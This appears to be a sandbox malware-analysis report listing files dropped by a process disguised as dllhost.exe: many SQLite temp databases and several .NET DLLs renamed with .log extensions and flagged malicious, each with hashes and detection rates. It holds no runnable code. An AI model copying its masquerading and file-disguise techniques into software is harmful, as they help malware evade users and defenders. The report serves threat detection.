                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\wOFmSEnMbE

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\x3l2NWAQrV

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\xEUTIhU1Lk

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\xIpSWpB9rC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\xMl98cajDF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\xiZmp6Guee

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\xq8V7jGccu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\yGhNH172FG

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ydebH0rkHH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\zEgzEJ6esI

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\zfX9L6c56g

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\zkIJLQDUxc

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\zsPgYNPzbB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\AHMSLlxy.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):46592
                                                                                                                                      Entropy (8bit):5.870612048031897
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                                                                                                      MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                                                                                                      SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                                                                                                      SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                                                                                                      SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                      Joe Sandbox View:
                                                                                                                                      • Filename: IYXE4Uz61k.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: gorkmTnChA.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: A5EbyKyjhV.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: lfcdgbuksf.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: qNdO4D18CF.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: iN1fhAtzW2.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: based.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: KPFv8ATDx0.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: LzmJLVB41K.exe, Detection: malicious, Browse
                                                                                                                                      • Filename: main.exe, Detection: malicious, Browse
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\DOJbgDru.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):70144
                                                                                                                                      Entropy (8bit):5.909536568846014
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                                                                                                      MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                                                                                                      SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                                                                                                      SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                                                                                                      SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 29%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\FCNjSRns.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):38400
                                                                                                                                      Entropy (8bit):5.699005826018714
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                                                                                                      MD5:87765D141228784AE91334BAE25AD743
                                                                                                                                      SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                                                                                                      SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                                                                                                      SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\FdoRXWMY.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40448
                                                                                                                                      Entropy (8bit):5.7028690200758465
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                                                                                                      MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                                                                                                      SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                                                                                                      SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                                                                                                      SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 12%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\FnLRHIfV.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):41472
                                                                                                                                      Entropy (8bit):5.6808219961645605
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                                                                                                      MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                                                                                                      SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                                                                                                      SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                                                                                                      SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\GzproQCn.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):342528
                                                                                                                                      Entropy (8bit):6.170134230759619
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                                                                                                      MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                                                                                                      SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                                                                                                      SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                                                                                                      SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 50%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\HpyAdrkQ.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):294912
                                                                                                                                      Entropy (8bit):6.010605469502259
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                                                                                                      MD5:00574FB20124EAFD40DC945EC86CA59C
                                                                                                                                      SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                                                                                                      SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                                                                                                      SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
